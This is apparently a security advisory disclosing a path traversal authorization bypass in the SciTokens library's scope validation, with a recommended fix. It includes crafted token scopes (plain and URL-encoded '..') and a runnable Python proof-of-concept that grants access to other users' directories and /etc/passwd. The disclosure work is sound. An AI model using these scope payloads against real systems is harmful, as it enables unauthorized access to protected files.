SciTokens has an Authorization Bypass via Path Traversal in Scope Validation

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:
   python return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")

    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)

    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1

    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."

    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"

    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")

    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.

    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)

    print(f"Is authorized: {is_authorized}")

    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path

    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")

    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")

    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.